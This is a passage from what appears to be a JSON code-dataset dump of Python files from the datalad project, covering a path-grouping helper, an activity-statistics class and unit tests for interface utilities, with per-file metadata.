get_dataset_root(p_dir)\\n\\n # to become the root of the dataset that contains the path in question\\n # in the context of (same basepath) as the reference dataset\\n qds_inrefds = None\\n if root is not None:\\n qds_inrefds = path_under_rev_dataset(refds, root)\\n if root is None or qds_inrefds is None:\\n # no root, not possibly underneath the refds\\n # or root that is not underneath/equal the reference dataset root\\n errors.append(p)\\n continue\\n\\n if root != qds_inrefds:\\n # try to recode the dataset path wrt to the reference\\n # dataset\\n # the path that it might have been located by could\\n # have been a resolved path or another funky thing\\n # the path this dataset was located by is not how it would\\n # be referenced underneath the refds (possibly resolved\\n # realpath) -> recode all paths to be underneath the refds\\n p = qds_inrefds / p.relative_to(root)\\n root = qds_inrefds\\n\\n # Note: Compare to Dataset(root).path rather\\n # than root to get same path normalization.\\n if root == str_p and not Dataset(root).path == ds_path and (\\n subdsroot_mode == 'super' or (\\n subdsroot_mode == 'rsync' and dataset_arg and\\n not orig_path.endswith(op.sep))):\\n # the given path is pointing to a subdataset\\n # and we are either in 'super' mode, or in 'rsync' and found\\n # rsync-link syntax to identify the dataset as whole\\n # (e.g. 'ds') vs its content (e.g. 'ds/')\\n root_dir = op.dirname(root)\\n try:\\n super_root = roots_cache[root_dir]\\n except KeyError:\\n super_root = roots_cache[root_dir] = get_dataset_root(root_dir)\\n if super_root:\\n # the dataset identified by the path argument\\n # is contained in a superdataset, and no\\n # trailing path separator was found in the\\n # argument -> user wants to address the dataset\\n # as a whole (in the superdataset)\\n root = super_root\\n\\n root = ut.Path(root)\\n ps = paths_by_ds.get(root, [])\\n ps.append(p)\\n paths_by_ds[root] = ps\\n return paths_by_ds, errors\\n\\n\\ndef _yield_paths_by_ds(refds, dataset_arg, paths):\\n \\\"\\\"\\\"Status-internal helper to yield get_paths_by_ds() items\\\"\\\"\\\"\\n paths_by_ds, errors = get_paths_by_ds(refds, dataset_arg, paths)\\n # communicate all the problems\\n for e in errors:\\n yield dict(\\n path=str(e),\\n action='status',\\n refds=refds.path,\\n status='error',\\n message=('path not underneath the reference dataset %s',\\n refds.path),\\n logger=lgr)\\n\\n while paths_by_ds:\\n # gh-6566 advised replacement of OrderedDicts with dicts for performance\\n # The previous qdspath, qpaths = paths_by_ds.popitem(last=False) used an\\n # OrderedDict specific function (returns k, v in FIFO order). Below is a\\n # less pretty replacement for this functionality with a pure dict\\n qdspath = next(iter(paths_by_ds.keys()))\\n qpaths = paths_by_ds.pop(qdspath)\\n if qpaths and qdspath in qpaths:\\n # this is supposed to be a full status query, save some\\n # cycles sifting through the actual path arguments\\n qpaths = []\\n yield dict(ds=Dataset(qdspath), paths=qpaths)\\n\"\n },\n {\n \"alpha_fraction\": 0.5117970108985901,\n \"alphanum_fraction\": 0.5134130716323853,\n \"avg_line_length\": 31.22916603088379,\n \"blob_id\": \"c950e4e4b2c0ec5163b163cb323e7c26a29f03ec\",\n \"content_id\": \"3b572876523a1166adcaf7592aaa9e3fc5155caa\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6188,\n \"license_type\": \"permissive\",\n \"max_line_length\": 99,\n \"num_lines\": 192,\n \"path\": \"/datalad/support/stats.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"A helper for collecting stats on carried out actions\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\n# TODO: we have already smth in progressbar... check\\nimport humanize\\n\\n_COUNTS = (\\n 'files', 'urls',\\n 'add_git', 'add_annex', 'dropped',\\n 'skipped', 'overwritten', 'renamed', 'removed',\\n 'downloaded', 'downloaded_size', 'downloaded_time',\\n 'datasets_crawled',\\n 'datasets_crawl_failed',\\n)\\n\\n_LISTS = (\\n 'merges', # merges which were carried out (from -> to)\\n 'versions', # versions encountered. Latest would be used for tagging\\n)\\n\\n_FORMATTERS = {\\n # TODO:\\n 'downloaded_size': humanize.naturalsize,\\n 'merges': lambda merges: \\\", \\\".join('->'.join(merge) for merge in merges),\\n 'versions': lambda versions: ', '.join(versions)\\n}\\n\\n\\n# @auto_repr\\nclass ActivityStats(object):\\n \\\"\\\"\\\"Helper to collect/pass statistics on carried out actions\\n\\n It also keeps track of total counts, which do not get reset by\\n reset() call, and \\\"total\\\" stat could be obtained by .get_total()\\n Could be done so many other ways\\n \\\"\\\"\\\"\\n __metrics__ = _COUNTS + _LISTS\\n __slots__ = __metrics__ + ('_current', '_total')\\n\\n def __init__(self, **vals):\\n self._current = {}\\n self._total = {}\\n self.reset(full=True, vals=vals)\\n\\n def __repr__(self):\\n # since auto_repr doesn't support \\\"non-0\\\" values atm\\n return \\\"%s(%s)\\\" \\\\\\n % (self.__class__.__name__,\\n \\\", \\\".join([\\\"%s=%s\\\" % (k, v) for k, v in self._current.items() if v]))\\n\\n # Comparisons operate solely on _current\\n def __eq__(self, other):\\n return (self._current == other._current) # and (self._total == other._total)\\n\\n def __ne__(self, other):\\n return (self._current != other._current) # or (self._total != other._total)\\n\\n def __iadd__(self, other):\\n for m in other.__metrics__:\\n # not inplace for increased paranoia for bloody lists, and dummy implementation of *add\\n self._current[m] = self._current[m] + other._current[m]\\n self._total[m] = self._total[m] + other._total[m]\\n return self\\n\\n def __add__(self, other):\\n # crashed\\n # out = deepcopy(self)\\n # so doing ugly way\\n out = ActivityStats(**self._current)\\n out._total = self._total.copy()\\n out += other\\n return out\\n\\n def __setattr__(self, key, value):\\n if key in self.__metrics__:\\n self._current[key] = value\\n else:\\n return super(ActivityStats, self).__setattr__(key, value)\\n\\n def __getattribute__(self, key):\\n if (not key.startswith('_')) and key in self.__metrics__:\\n return self._current[key]\\n else:\\n return super(ActivityStats, self).__getattribute__(key)\\n\\n def _get_updated_total(self):\\n \\\"\\\"\\\"Return _total updated with _current\\n \\\"\\\"\\\"\\n out = self._total.copy()\\n for k, v in self._current.items():\\n # not inplace + so we could create copies of lists\\n out[k] = out[k] + v\\n return out\\n\\n def increment(self, k, v=1):\\n \\\"\\\"\\\"Helper for incrementing counters\\\"\\\"\\\"\\n self._current[k] += v\\n\\n def _reset_values(self, d, vals):\\n for c in _COUNTS:\\n d[c] = vals.get(c, 0)\\n for l in _LISTS:\\n d[l] = vals.get(l, [])\\n\\n def reset(self, full=False, vals=None):\\n # Initialize\\n if vals is None:\\n vals = {}\\n if not full:\\n self._total = self._get_updated_total()\\n self._reset_values(self._current, vals=vals)\\n if full:\\n self._reset_values(self._total, vals=vals)\\n\\n def get_total(self):\\n \\\"\\\"\\\"Return a copy of total stats (for convenience)\\\"\\\"\\\"\\n return self.__class__(**self._get_updated_total())\\n\\n def as_dict(self):\\n return self._current.copy()\\n\\n def as_str(self, mode='full'):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n mode : {'full', 'line'}\\n \\\"\\\"\\\"\\n\\n # Example\\n #\\\"\\\"\\\"\\n #URLs processed: {urls}\\n # downloaded: {downloaded}\\n # downloaded size: {downloaded_size}\\n #Files processed: {files}\\n # skipped: {skipped}\\n # renamed: {renamed}\\n # removed: {removed}\\n # added to git: {add_git}\\n # added to annex: {add_annex}\\n # overwritten: {overwritten}\\n #Branches merged:\\n # upstream -> master\\n #\\\"\\\"\\\"\\n\\n # TODO: improve\\n entries = self.as_dict()\\n entries.update({\\n k: (_FORMATTERS[k](entries[k]) if entries[k] else '')\\n for k in _FORMATTERS\\n })\\n\\n out_formats = [\\n (\\\"URLs processed\\\", \\\"urls\\\"),\\n (\\\" downloaded\\\", \\\"downloaded\\\"),\\n (\\\" size\\\", \\\"downloaded_size\\\"),\\n (\\\"Files processed\\\", \\\"files\\\"),\\n (\\\" skipped\\\", \\\"skipped\\\"),\\n (\\\" renamed\\\", \\\"renamed\\\"),\\n (\\\" removed\\\", \\\"removed\\\"),\\n (\\\" overwritten\\\", \\\"overwritten\\\"),\\n (\\\" +git\\\", \\\"add_git\\\"),\\n (\\\" +annex\\\", \\\"add_annex\\\"),\\n (\\\"Branches merged\\\", \\\"merges\\\"),\\n (\\\"Datasets crawled\\\", \\\"datasets_crawled\\\"),\\n (\\\" failed\\\", \\\"datasets_crawl_failed\\\"),\\n ]\\n # Filter out empty/0 ones\\n out = [\\\"%s: \\\" % s + str(entries[m]) for s, m in out_formats if entries[m]]\\n if mode == 'full':\\n return '\\\\n'.join(out)\\n elif mode == 'line':\\n for i, o in enumerate(out):\\n if o[0] != ' ':\\n out[i] = ' ' + o\\n return ','.join(out).lstrip()\\n #return \\\"{files} files (git/annex: {add_git}/{add_annex}), \\\" \\\\\\n # \\\"{skipped} skipped, {renamed} renamed, {overwritten} overwritten\\\".format(\\n # **entries)\\n else:\\n raise ValueError(\\\"Unknown mode %s\\\" % mode)\\n\"\n },\n {\n \"alpha_fraction\": 0.5712394714355469,\n \"alphanum_fraction\": 0.5770934224128723,\n \"avg_line_length\": 32.98788833618164,\n \"blob_id\": \"ed1fb658aabde1fe5b2fd9775c150542c2ff78af\",\n \"content_id\": \"54f5e478b67b34523d2b1eec48708a38c51ffae7\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 19645,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 578,\n \"path\": \"/datalad/interface/tests/test_utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test interface.utils\\n\\n\\\"\\\"\\\"\\n\\nimport logging\\nimport re\\nfrom contextlib import contextmanager\\nfrom os.path import exists\\nfrom os.path import join as opj\\nfrom time import sleep\\n\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n)\\nfrom datalad.interface.base import (\\n build_doc,\\n eval_results,\\n)\\nfrom datalad.support.constraints import (\\n EnsureKeyChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.tests.utils_pytest import (\\n assert_dict_equal,\\n assert_equal,\\n assert_in,\\n assert_not_equal,\\n assert_not_in,\\n assert_raises,\\n assert_re_in,\\n assert_repo_status,\\n assert_result_count,\\n assert_true,\\n ok_,\\n slow,\\n with_tempfile,\\n with_tree,\\n)\\nfrom datalad.utils import (\\n swallow_logs,\\n swallow_outputs,\\n)\\n\\nfrom ..base import Interface\\nfrom ..results import get_status_dict\\nfrom ..utils import (\\n discover_dataset_trace_to_targets,\\n handle_dirty_dataset,\\n)\\n\\n__docformat__ = 'restructuredtext'\\nlgr = logging.getLogger('datalad.interface.tests.test_utils')\\n_dirty_modes = ('fail', 'ignore', 'save-before')\\n\\n\\ndef _check_all_clean(ds, state):\\n assert state is not None\\n for mode in _dirty_modes:\\n # nothing wrong, nothing saved\\n handle_dirty_dataset(ds, mode)\\n assert_equal(state, ds.repo.get_hexsha())\\n\\n\\ndef _check_auto_save(ds, orig_state):\\n handle_dirty_dataset(ds, 'ignore')\\n assert_raises(RuntimeError, handle_dirty_dataset, ds, 'fail')\\n handle_dirty_dataset(ds, 'save-before')\\n state = ds.repo.get_hexsha()\\n assert_not_equal(orig_state, state)\\n _check_all_clean(ds, state)\\n return state\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_dirty(path=None):\\n for mode in _dirty_modes:\\n # does nothing without a dataset\\n handle_dirty_dataset(None, mode)\\n # placeholder, but not yet created\\n ds = Dataset(path)\\n # unknown mode\\n assert_raises(ValueError, handle_dirty_dataset, ds, 'MADEUP')\\n # not yet created is very dirty\\n assert_raises(RuntimeError, handle_dirty_dataset, ds, 'fail')\\n handle_dirty_dataset(ds, 'ignore')\\n assert_raises(RuntimeError, handle_dirty_dataset, ds, 'save-before')\\n # should yield a clean repo\\n ds.create()\\n orig_state = ds.repo.get_hexsha()\\n _check_all_clean(ds, orig_state)\\n # tainted: untracked\\n with open(opj(ds.path, 'something'), 'w') as f:\\n f.write('some')\\n # we don't want to auto-add untracked files by saving (anymore)\\n assert_raises(AssertionError, _check_auto_save, ds, orig_state)\\n # tainted: staged\\n ds.repo.add('something', git=True)\\n orig_state = _check_auto_save(ds, orig_state)\\n # tainted: submodule\\n # not added to super on purpose!\\n subds = ds.create('subds')\\n _check_all_clean(subds, subds.repo.get_hexsha())\\n assert_repo_status(ds.path)\\n # subdataset must be added as a submodule!\\n assert_equal(ds.subdatasets(result_xfm='relpaths'), ['subds'])\\n\\n\\ndemo_hierarchy = {\\n 'a': {\\n 'aa': {\\n 'file_aa': 'file_aa'}},\\n 'b': {\\n 'ba': {\\n 'file_ba': 'file_ba'},\\n 'bb': {\\n 'bba': {\\n 'bbaa': {\\n 'file_bbaa': 'file_bbaa'}},\\n 'file_bb': 'file_bb'}},\\n 'c': {\\n 'ca': {\\n 'file_ca': 'file_ca'},\\n 'file_c': 'file_c'},\\n 'd': {\\n 'da': {\\n 'file_da': 'file_da'},\\n 'db': {\\n 'file_db': 'file_db'},\\n 'file_d': 'file_d'},\\n}\\n\\n\\ndef make_demo_hierarchy_datasets(path, tree, parent=None):\\n if parent is None:\\n parent = Dataset(path).create(force=True)\\n for node, items in tree.items():\\n if isinstance(items, dict):\\n node_path = opj(path, node)\\n nodeds = parent.create(node_path, force=True)\\n make_demo_hierarchy_datasets(node_path, items, parent=nodeds)\\n return parent\\n\\n\\n@slow # 74.4509s\\n@with_tree(demo_hierarchy)\\ndef test_save_hierarchy(path=None):\\n # this test doesn't use API`remove` to avoid circularities\\n ds = make_demo_hierarchy_datasets(path, demo_hierarchy)\\n ds.save(recursive=True)\\n assert_repo_status(ds.path)\\n ds_bb = Dataset(opj(ds.path, 'b', 'bb'))\\n ds_bba = Dataset(opj(ds_bb.path, 'bba'))\\n ds_bbaa = Dataset(opj(ds_bba.path, 'bbaa'))\\n # introduce a change at the lowest level\\n ds_bbaa.repo.remove('file_bbaa')\\n for d in (ds, ds_bb, ds_bba, ds_bbaa):\\n ok_(d.repo.dirty)\\n # need to give file specifically, otherwise it will simply just preserve\\n # staged changes\\n ds_bb.save(path=opj(ds_bbaa.path, 'file_bbaa'))\\n # it has saved all changes in the subtrees spanned\\n # by the given datasets, but nothing else\\n for d in (ds_bb, ds_bba, ds_bbaa):\\n assert_repo_status(d.path)\\n ok_(ds.repo.dirty)\\n # now with two modified repos\\n d = Dataset(opj(ds.path, 'd'))\\n da = Dataset(opj(d.path, 'da'))\\n da.repo.remove('file_da')\\n db = Dataset(opj(d.path, 'db'))\\n db.repo.remove('file_db')\\n # generator\\n d.save(recursive=True)\\n for d in (d, da, db):\\n assert_repo_status(d.path)\\n ok_(ds.repo.dirty)\\n # and now with files all over the place and saving\\n # all the way to the root\\n aa = Dataset(opj(ds.path, 'a', 'aa'))\\n aa.repo.remove('file_aa')\\n ba = Dataset(opj(ds.path, 'b', 'ba'))\\n ba.repo.remove('file_ba')\\n bb = Dataset(opj(ds.path, 'b', 'bb'))\\n bb.repo.remove('file_bb')\\n c = Dataset(opj(ds.path, 'c'))\\n c.repo.remove('file_c')\\n ca = Dataset(opj(ds.path, 'c', 'ca'))\\n ca.repo.remove('file_ca')\\n d = Dataset(opj(ds.path, 'd'))\\n d.repo.remove('file_d')\\n ds.save(\\n # append trailing slashes to the path to indicate that we want to\\n # have the staged content in the dataset saved, rather than only the\\n # subdataset state in the respective superds.\\n path=[opj(p, '')\\n for p in (aa.path, ba.path, bb.path, c.path, ca.path, d.path)])\\n\\n\\n# Note: class name needs to match module's name\\n@build_doc\\nclass TestUtils(Interface):\\n \\\"\\\"\\\"TestUtil's fake command\\\"\\\"\\\"\\n\\n result_renderer = 'tailored' # overrides None default\\n return_type = 'item-or-list' # overrides 'list'\\n\\n _params_ = dict(\\n number=Parameter(\\n args=(\\\"-n\\\", \\\"--number\\\",),\\n doc=\\\"\\\"\\\"It's a number\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"\\\"specify the dataset to update. If\\n no dataset is given, an attempt is made to identify the dataset\\n based on the input and/or the current working directory\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n result_fn=Parameter(\\n args=tuple(), # Hide this from the cmdline parser.\\n doc=\\\"\\\"\\\"Generate the result records with this function\\n rather than using the default logic. `number` will be\\n passed as an argument.\\\"\\\"\\\"),)\\n\\n @staticmethod\\n @datasetmethod(name='fake_command')\\n @eval_results\\n def __call__(number, dataset=None, result_fn=None):\\n if result_fn:\\n yield from result_fn(number)\\n else:\\n for i in range(number):\\n # this dict will need to have the minimum info\\n # required by eval_results\\n yield {'path': 'some', 'status': 'ok', 'somekey': i,\\n 'action': 'off'}\\n\\n\\ndef test_eval_results_plus_build_doc():\\n\\n # test docs\\n\\n # docstring was build already:\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n TestUtils().__call__(1)\\n assert_not_in(\\\"Building doc for\\\", cml.out)\\n # docstring accessible both ways:\\n doc1 = Dataset.fake_command.__doc__\\n doc2 = TestUtils().__call__.__doc__\\n\\n # docstring was built from Test_Util's definition:\\n assert_equal(doc1, doc2)\\n assert_in(\\\"TestUtil's fake command\\\", doc1)\\n assert_in(\\\"Parameters\\\", doc1)\\n assert_in(\\\"It's a number\\\", doc1)\\n\\n # docstring shows correct override values of defaults in eval_params\\n assert_re_in(\\\"Default:\\\\\\\\s+'tailored'\\\", doc1, match=False)\\n assert_re_in(\\\"Default:\\\\\\\\s+'item-or-list'\\\", doc1, match=False)\\n\\n # docstring also contains eval_result's parameters:\\n assert_in(\\\"result_filter\\\", doc1)\\n assert_in(\\\"return_type\\\", doc1)\\n assert_in(\\\"list\\\", doc1)\\n assert_in(\\\"None\\\", doc1)\\n assert_in(\\\"return value behavior\\\", doc1)\\n assert_in(\\\"dictionary is passed\\\", doc1)\\n\\n # test eval_results is able to determine the call, a method of which it is\\n # decorating:\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n Dataset('/does/not/matter').fake_command(3)\\n assert_in(\\\"Determined class of decorated function: {}\\\"\\n \\\"\\\".format(TestUtils().__class__), cml.out)\\n\\n # test results:\\n result = TestUtils().__call__(2)\\n assert_equal(len(list(result)), 2)\\n result = Dataset('/does/not/matter').fake_command(3)\\n assert_equal(len(list(result)), 3)\\n\\n # test absent side-effect of popping eval_defaults\\n kwargs = dict(return_type='list')\\n TestUtils().__call__(2, **kwargs)\\n assert_equal(list(kwargs), ['return_type'])\\n\\n # test signature:\\n from datalad.utils import getargspec\\n assert_equal(getargspec(Dataset.fake_command)[0],\\n ['number', 'dataset', 'result_fn'])\\n assert_equal(getargspec(TestUtils.__call__)[0],\\n ['number', 'dataset', 'result_fn'])\\n\\n\\ndef test_result_filter():\\n # ensure baseline without filtering\\n assert_equal(\\n [r['somekey'] for r in TestUtils().__call__(4)],\\n [0, 1, 2, 3])\\n # test two functionally equivalent ways to filter results\\n # 1. Constraint-based -- filter by exception\\n # we have a full set of AND and OR operators for this\\n # 2. custom filer function -- filter by boolean return value\\n for filt in (\\n EnsureKeyChoice('somekey', (0, 2)),\\n lambda x: x['somekey'] in (0, 2)):\\n assert_equal(\\n [r['somekey'] for r in TestUtils().__call__(\\n 4,\\n result_filter=filt)],\\n [0, 2])\\n # constraint returns full dict\\n assert_dict_equal(\\n TestUtils().__call__(\\n 4,\\n result_filter=filt)[-1],\\n {'action': 'off', 'path': 'some', 'status': 'ok', 'somekey': 2})\\n\\n # test more sophisticated filters that actually get to see the\\n # API call's kwargs\\n def greatfilter(res, **kwargs):\\n assert_equal(kwargs.get('dataset', 'bob'), 'awesome')\\n return True\\n TestUtils().__call__(4, dataset='awesome', result_filter=greatfilter)\\n\\n def sadfilter(res, **kwargs):\\n assert_equal(kwargs.get('dataset', 'bob'), None)\\n return True\\n TestUtils().__call__(4, result_filter=sadfilter)\\n\\n\\n@with_tree({k: v for k, v in demo_hierarchy.items() if k in ['a', 'd']})\\n@with_tempfile(mkdir=True)\\ndef test_discover_ds_trace(path=None, otherdir=None):\\n ds = make_demo_hierarchy_datasets(\\n path,\\n {k: v for k, v in demo_hierarchy.items() if k in ['a', 'd']})\\n a = opj(ds.path, 'a')\\n aa = opj(a, 'aa')\\n d = opj(ds.path, 'd')\\n db = opj(d, 'db')\\n # we have to check whether we get the correct hierarchy, as the test\\n # subject is also involved in this\\n assert_true(exists(opj(db, 'file_db')))\\n ds.save(recursive=True)\\n assert_repo_status(ds.path)\\n # now two datasets which are not available locally, but we\\n # know about them (e.g. from metadata)\\n dba = opj(db, 'sub', 'dba')\\n dbaa = opj(dba, 'subsub', 'dbaa')\\n for input, eds, goal in (\\n ([], None, {}),\\n ([ds.path], None, {}),\\n ([otherdir], None, {}),\\n ([opj(ds.path, 'nothere')], None, {}),\\n ([opj(d, 'nothere')], None, {}),\\n ([opj(db, 'nothere')], None, {}),\\n ([a], None,\\n {ds.path: set([a])}),\\n ([aa, a], None,\\n {ds.path: set([a]), a: set([aa])}),\\n ([db], None,\\n {ds.path: set([d]), d: set([db])}),\\n ([opj(db, 'file_db')], None,\\n {ds.path: set([d]), d: set([db])}),\\n # just a regular non-existing path\\n ([dba], None, {}),\\n # but if we inject this knowledge it must come back out\\n # as the child of the closest existing dataset\\n ([dba], [dba],\\n {ds.path: set([d]), d: set([db]), db: set([dba])}),\\n # regardless of the depth\\n ([dbaa], [dbaa],\\n {ds.path: set([d]), d: set([db]), db: set([dbaa])}),\\n ([dba, dbaa], [dba, dbaa],\\n {ds.path: set([d]), d: set([db]), db: set([dba, dbaa])}),\\n # we can simply add existing and non-existing datasets to the\\n # include list get the desired result\\n ([d, dba, dbaa], [d, dba, dbaa],\\n {ds.path: set([d]), d: set([db]), db: set([dba, dbaa])}),\\n ):\\n spec = {}\\n discover_dataset_trace_to_targets(ds.path, input, [], spec, includeds=eds)\\n assert_dict_equal(spec, goal)\\n\\n\\n@contextmanager\\ndef _swallow_outputs(isatty=True):\\n with swallow_outputs() as cmo:\\n stdout = cmo.handles[0]\\n stdout.isatty = lambda: isatty\\n yield cmo\\n\\n\\ndef test_utils_suppress_similar():\\n tu = TestUtils()\\n\\n # Check suppression boundary for straight chain of similar\\n # messages.\\n\\n # yield test results immediately to make test run fast\\n sleep_dur = 0.0\\n\\n def n_foo(number):\\n for i in range(number):\\n yield dict(action=\\\"foo\\\",\\n status=\\\"ok\\\",\\n path=\\\"path{}\\\".format(i))\\n sleep(sleep_dur)\\n\\n\\n with _swallow_outputs() as cmo:\\n cmo.isatty = lambda: True\\n list(tu(9, result_fn=n_foo, result_renderer=\\\"default\\\"))\\n assert_in(\\\"path8\\\", cmo.out)\\n assert_not_in(\\\"suppressed\\\", cmo.out)\\n\\n with _swallow_outputs() as cmo:\\n list(tu(10, result_fn=n_foo, result_renderer=\\\"default\\\"))\\n assert_in(\\\"path9\\\", cmo.out)\\n assert_not_in(\\\"suppressed\\\", cmo.out)\\n\\n with _swallow_outputs() as cmo:\\n list(tu(11, result_fn=n_foo, result_renderer=\\\"default\\\"))\\n assert_not_in(\\\"path10\\\", cmo.out)\\n assert_re_in(r\\\"[^-0-9]1 .* suppressed\\\", cmo.out, match=False)\\n\\n with _swallow_outputs() as cmo:\\n # for this one test yield results slightly slower than 2Hz\\n # such that we can see each individual suppression message\\n # and no get caught by the rate limiter\\n sleep_dur = 0.51\\n list(tu(13, result_fn=n_foo, result_renderer=\\\"default\\\"))\\n assert_not_in(\\\"path10\\\", cmo.out)\\n # We see an update for each result.\\n assert_re_in(r\\\"1 .* suppressed\\\", cmo.out, match=False)\\n assert_re_in(r\\\"2 .* suppressed\\\", cmo.out, match=False)\\n assert_re_in(r\\\"3 .* suppressed\\\", cmo.out, match=False)\\n\\n # make tests run fast again\\n sleep_dur = 0.0\\n\\n with _swallow_outputs(isatty=False) as cmo:\\n list(tu(11, result_fn=n_foo, result_renderer=\\\"default\\\"))\\n assert_in(\\\"path10\\\", cmo.out)\\n\\n # Check a chain of similar messages, split in half by a distinct one.\\n\\n def n_foo_split_by_a_bar(number):\\n half = number // 2 - 1\\n for i in range(number):\\n yield dict(action=\\\"foo\\\",\\n status=\\\"ok\\\",\\n path=\\\"path{}\\\".format(i))\\n if i == half:\\n yield dict(action=\\\"bar\\\",\\n status=\\\"ok\\\",\\n path=\\\"path\\\")\\n\\n with _swallow_outputs() as cmo:\\n list(tu(20, result_fn=n_foo_split_by_a_bar, result_renderer=\\\"default\\\"))\\n assert_in(\\\"path10\\\", cmo.out)\\n assert_in(\\\"path19\\\", cmo.out)\\n assert_not_in(\\\"suppressed\\\", cmo.out)\\n\\n with _swallow_outputs() as cmo:\\n list(tu(21, result_fn=n_foo_split_by_a_bar, result_renderer=\\\"default\\\"))\\n assert_in(\\\"path10\\\", cmo.out)\\n assert_not_in(\\\"path20\\\", cmo.out)\\n assert_re_in(\\\"[^-0-9]1 .* suppressed\\\", cmo.out, match=False)\\n\\n\\nclass TestUtils2(Interface):\\n # result_renderer = custom_renderer\\n _params_ = dict(\\n number=Parameter(\\n args=(\\\"--path\\\",),\\n constraints=EnsureStr() | EnsureNone()),\\n )\\n @staticmethod\\n @eval_results\\n def __call__(path=None):\\n def logger(msg, *args):\\n return msg % args\\n if path:\\n # we will be testing for path %s\\n message = (\\\"all good %s\\\", \\\"my friend\\\")\\n else:\\n message = (\\\"kaboom %s %s\\\", \\\"greedy\\\")\\n yield get_status_dict(\\n action=\\\"test\\\",\\n status=\\\"ok\\\",\\n message=message,\\n logger=logger,\\n path=path or ''\\n )\\n\\n\\ndef test_incorrect_msg_interpolation():\\n with assert_raises(TypeError) as cme:\\n TestUtils2().__call__()\\n # this must be our custom exception\\n assert_re_in(\\\"Failed to render.*kaboom.*not enough arguments\\\", str(cme.value))\\n\\n # there should be no exception if reported in the record path contains %\\n TestUtils2().__call__(\\\"%eatthis\\\")\\n\\n\\nclass CustomResultRenderer(Interface):\\n result_renderer = \\\"tailored\\\"\\n _params_ = dict(x=Parameter(args=(\\\"x\\\",)))\\n\\n @staticmethod\\n @eval_results\\n def __call__(x):\\n yield get_status_dict(action=\\\"foo\\\", status=\\\"ok\\\", message=\\\"message\\\",\\n x=x, logger=lgr)\\n\\n @staticmethod\\n def custom_result_renderer(res, **kwargs):\\n # This custom result renderer gets the command's keyword arguments and\\n # all of the common ones too, even those not explicitly specified.\\n assert_in(\\\"x\\\", kwargs)\\n assert_in(\\\"on_failure\\\", kwargs)\\n assert_in(\\\"result_filter\\\", kwargs)\\n assert_in(\\\"result_renderer\\\", kwargs)\\n\\n\\ndef test_custom_result_renderer():\\n list(CustomResultRenderer().__call__(\\\"arg\\\"))\\n\\n\\nclass CustomSummary(Interface):\\n result_renderer = \\\"tailored\\\"\\n _params_ = dict(x=Parameter(args=(\\\"x\\\",)))\\n\\n @staticmethod\\n @eval_results\\n def __call__(x):\\n for action, status in [(\\\"test.one\\\", \\\"ok\\\"),\\n (\\\"test.two\\\", \\\"ok\\\"),\\n (\\\"test.two\\\", \\\"notneeded\\\"),\\n (\\\"test.one\\\", \\\"ok\\\")]:\\n yield get_status_dict(action=action, status=status,\\n message=\\\"message\\\", x=x, logger=lgr)\\n\\n @staticmethod\\n def custom_result_summary_renderer(*args):\\n if getattr(CustomSummary, \\\"custom_result_summary_renderer_pass_summary\\\",\\n False):\\n action_summary = args[1]\\n assert_equal(action_summary[\\\"test.one\\\"], {\\\"ok\\\": 2})\\n assert_equal(action_summary[\\\"test.two\\\"], {\\\"ok\\\": 1, \\\"notneeded\\\": 1})\\n results = args[0]\\n assert_equal(len(results), 4)\\n assert_result_count(results, 2, action=\\\"test.one\\\", status=\\\"ok\\\")\\n assert_result_count(results, 1, action=\\\"test.two\\\", status=\\\"ok\\\")\\n assert_result_count(results, 1, action=\\\"test.two\\\", status=\\\"notneeded\\\")\\n\\n\\ndef test_custom_result_summary_renderer():\\n list(CustomSummary().__call__(\\\"arg\\\"))\\n try:\\n CustomSummary.custom_result_summary_renderer_pass_summary = True\\n list(CustomSummary().__call__(\\\"arg\\\"))\\n finally:\\n del CustomSummary.custom_result_summary_renderer_pass_summary\\n\"\n },\n {\n \"alpha_fraction\": 0.5655592083930969,\n \"alphanum_fraction\": 0.5664459466934204,\n \"avg_line_length\": 36.75893020629883,\n \"blob_id\": \"b66d0600a01397026dc074a2dd5ca482b5fe61d6\",\n \"content_id\": \"2a2a5295b35ac6c93f4d4e3e732bce58ac2664a4\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 16916,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 448,\n \"path\": \"/datalad/core/local/diff.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": 